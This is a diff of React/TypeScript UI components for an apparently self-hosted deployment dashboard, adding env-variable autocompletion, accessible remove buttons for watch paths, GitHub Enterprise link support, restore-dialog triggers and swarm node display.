import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import {
|
||||
@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
projectEnv: data?.environment?.project?.env,
|
||||
environmentEnv: data?.environment?.env,
|
||||
projectId: data?.environment?.projectId,
|
||||
environmentId: data?.environment?.environmentId,
|
||||
});
|
||||
|
||||
const form = useForm<EnvironmentSchema>({
|
||||
defaultValues: {
|
||||
env: "",
|
||||
@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
{data?.buildType === "dockerfile" && (
|
||||
<Secrets
|
||||
@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder="NPM_TOKEN=xyz"
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
)}
|
||||
{data?.buildType === "dockerfile" && (
|
||||
@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder="NPM_TOKEN=xyz"
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
)}
|
||||
{data?.buildType === "dockerfile" && (
|
||||
|
||||
@ -447,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -47,6 +47,7 @@ import {
|
||||
} from "@/components/ui/tooltip";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
|
||||
|
||||
const GithubProviderSchema = z.object({
|
||||
buildPath: z.string().min(1, "Path is required").default("/"),
|
||||
@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
|
||||
const repository = form.watch("repository");
|
||||
const githubId = form.watch("githubId");
|
||||
|
||||
// Enterprise repositories do not live on github.com.
|
||||
const providerUrl =
|
||||
githubProviders?.find((provider) => provider.githubId === githubId)
|
||||
?.githubUrl ?? DEFAULT_GITHUB_URL;
|
||||
const triggerType = form.watch("triggerType");
|
||||
|
||||
const { data: repositories, isPending: isLoadingRepositories } =
|
||||
@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
<FormLabel>Repository</FormLabel>
|
||||
{field.value.owner && field.value.repo && (
|
||||
<Link
|
||||
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
|
||||
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
|
||||
@ -438,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@ -487,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -543,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -467,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -521,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
|
||||
const handleRunManually = async (scheduleId: string) => {
|
||||
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
|
||||
try {
|
||||
await runManually({ scheduleId });
|
||||
toast.success("Schedule run successfully");
|
||||
const result = await runManually({ scheduleId });
|
||||
if (result.status === "error") {
|
||||
toast.error("Schedule run failed, check the deployment logs");
|
||||
} else {
|
||||
toast.success("Schedule run successfully");
|
||||
}
|
||||
await refetchSchedules();
|
||||
} catch {
|
||||
toast.error("Error running schedule");
|
||||
|
||||
@ -50,6 +50,7 @@ interface Props {
|
||||
id: string;
|
||||
type: "application" | "compose";
|
||||
serverId?: string;
|
||||
trigger?: React.ReactNode;
|
||||
}
|
||||
|
||||
const RestoreBackupSchema = z.object({
|
||||
@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({
|
||||
}),
|
||||
});
|
||||
|
||||
export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
||||
export const RestoreVolumeBackups = ({
|
||||
id,
|
||||
type,
|
||||
serverId,
|
||||
trigger,
|
||||
}: Props) => {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const [search, setSearch] = useState("");
|
||||
const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
|
||||
@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="outline">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
Restore Volume Backup
|
||||
</Button>
|
||||
{trigger ?? (
|
||||
<Button variant="outline">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
Restore Volume Backup
|
||||
</Button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-lg">
|
||||
<DialogHeader>
|
||||
|
||||
@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
|
||||
<TableHead>Name</TableHead>
|
||||
<TableHead>State</TableHead>
|
||||
<TableHead>Status</TableHead>
|
||||
{appType === "stack" && <TableHead>Node</TableHead>}
|
||||
<TableHead>Container ID</TableHead>
|
||||
<TableHead className="text-right" />
|
||||
</TableRow>
|
||||
@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
|
||||
<TableBody>
|
||||
{data.map((container) => (
|
||||
<ContainerRow
|
||||
key={container.containerId}
|
||||
key={container.name}
|
||||
container={container}
|
||||
appType={appType}
|
||||
serverId={serverId}
|
||||
serviceId={serviceId}
|
||||
onActionComplete={() => refetch()}
|
||||
@ -143,7 +145,9 @@ interface ContainerRowProps {
|
||||
name: string;
|
||||
state: string;
|
||||
status: string;
|
||||
node?: string;
|
||||
};
|
||||
appType: "stack" | "docker-compose";
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
onActionComplete: () => void;
|
||||
@ -151,6 +155,7 @@ interface ContainerRowProps {
|
||||
|
||||
const ContainerRow = ({
|
||||
container,
|
||||
appType,
|
||||
serverId,
|
||||
serviceId,
|
||||
onActionComplete,
|
||||
@ -192,7 +197,13 @@ const ContainerRow = ({
|
||||
variant={
|
||||
container.state === "running"
|
||||
? "default"
|
||||
: container.state === "exited"
|
||||
: [
|
||||
"exited",
|
||||
"pending",
|
||||
"preparing",
|
||||
"starting",
|
||||
"ready",
|
||||
].includes(container.state)
|
||||
? "secondary"
|
||||
: "destructive"
|
||||
}
|
||||
@ -201,96 +212,99 @@ const ContainerRow = ({
|
||||
</Badge>
|
||||
</TableCell>
|
||||
<TableCell>{container.status}</TableCell>
|
||||
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
|
||||
<TableCell className="font-mono text-sm text-muted-foreground">
|
||||
{container.containerId}
|
||||
{container.containerId || "-"}
|
||||
</TableCell>
|
||||
<TableCell className="text-right">
|
||||
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
{actionLoading ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<MoreHorizontal className="h-4 w-4" />
|
||||
)}
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||
<DialogTrigger asChild>
|
||||
{!container.containerId ? null : (
|
||||
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
{actionLoading ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<MoreHorizontal className="h-4 w-4" />
|
||||
)}
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||
<DialogTrigger asChild>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
View Logs
|
||||
</DropdownMenuItem>
|
||||
</DialogTrigger>
|
||||
<ShowContainerConfig
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerMounts
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerNetworks
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<DockerTerminalModal
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("restart", restartMutation)}
|
||||
>
|
||||
View Logs
|
||||
Restart
|
||||
</DropdownMenuItem>
|
||||
</DialogTrigger>
|
||||
<ShowContainerConfig
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerMounts
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerNetworks
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<DockerTerminalModal
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("restart", restartMutation)}
|
||||
>
|
||||
Restart
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("start", startMutation)}
|
||||
>
|
||||
Start
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("stop", stopMutation)}
|
||||
>
|
||||
Stop
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer text-red-500 focus:text-red-600"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("kill", killMutation)}
|
||||
>
|
||||
Kill
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
<DialogContent className="sm:max-w-7xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>View Logs</DialogTitle>
|
||||
<DialogDescription>Logs for {container.name}</DialogDescription>
|
||||
</DialogHeader>
|
||||
<div className="flex flex-col gap-4 pt-2.5">
|
||||
<DockerLogsId
|
||||
containerId={container.containerId}
|
||||
serverId={serverId}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("start", startMutation)}
|
||||
>
|
||||
Start
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("stop", stopMutation)}
|
||||
>
|
||||
Stop
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer text-red-500 focus:text-red-600"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("kill", killMutation)}
|
||||
>
|
||||
Kill
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
<DialogContent className="sm:max-w-7xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>View Logs</DialogTitle>
|
||||
<DialogDescription>Logs for {container.name}</DialogDescription>
|
||||
</DialogHeader>
|
||||
<div className="flex flex-col gap-4 pt-2.5">
|
||||
<DockerLogsId
|
||||
containerId={container.containerId}
|
||||
serverId={serverId}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
);
|
||||
|
||||
@ -451,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -506,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -442,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -497,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -47,6 +47,7 @@ import {
|
||||
} from "@/components/ui/tooltip";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
|
||||
|
||||
const GithubProviderSchema = z.object({
|
||||
composePath: z.string().min(1),
|
||||
@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
const repository = form.watch("repository");
|
||||
const githubId = form.watch("githubId");
|
||||
const triggerType = form.watch("triggerType");
|
||||
|
||||
// Enterprise repositories do not live on github.com.
|
||||
const providerUrl =
|
||||
githubProviders?.find((provider) => provider.githubId === githubId)
|
||||
?.githubUrl ?? DEFAULT_GITHUB_URL;
|
||||
const { data: repositories, isPending: isLoadingRepositories } =
|
||||
api.github.getGithubRepositories.useQuery(
|
||||
{
|
||||
@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
<FormLabel>Repository</FormLabel>
|
||||
{field.value.owner && field.value.repo && (
|
||||
<Link
|
||||
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
|
||||
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
|
||||
@ -432,8 +438,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@ -479,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -538,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
|
||||
},
|
||||
);
|
||||
|
||||
const { data: containers, isPending: containersLoading } =
|
||||
const { data, isPending: containersLoading } =
|
||||
api.docker.getContainersByAppNameMatch.useQuery(
|
||||
{
|
||||
appName,
|
||||
@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
|
||||
},
|
||||
);
|
||||
|
||||
const containers = data?.filter((container) => container.containerId);
|
||||
|
||||
useEffect(() => {
|
||||
if (option === "native") {
|
||||
if (containers && containers?.length > 0) {
|
||||
|
||||
@ -74,6 +74,7 @@ interface Props {
|
||||
databaseType?: DatabaseType;
|
||||
serverId?: string | null;
|
||||
backupType?: "database" | "compose";
|
||||
trigger?: React.ReactNode;
|
||||
}
|
||||
|
||||
const RestoreBackupSchema = z
|
||||
@ -200,6 +201,7 @@ export const RestoreBackup = ({
|
||||
databaseType,
|
||||
serverId,
|
||||
backupType = "database",
|
||||
trigger,
|
||||
}: Props) => {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const [search, setSearch] = useState("");
|
||||
@ -311,12 +313,14 @@ export const RestoreBackup = ({
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="outline">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
Restore Backup
|
||||
</Button>
|
||||
{trigger ?? (
|
||||
<Button variant="outline">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
Restore Backup
|
||||
</Button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-lg">
|
||||
<DialogContent className="sm:max-w-2xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center">
|
||||
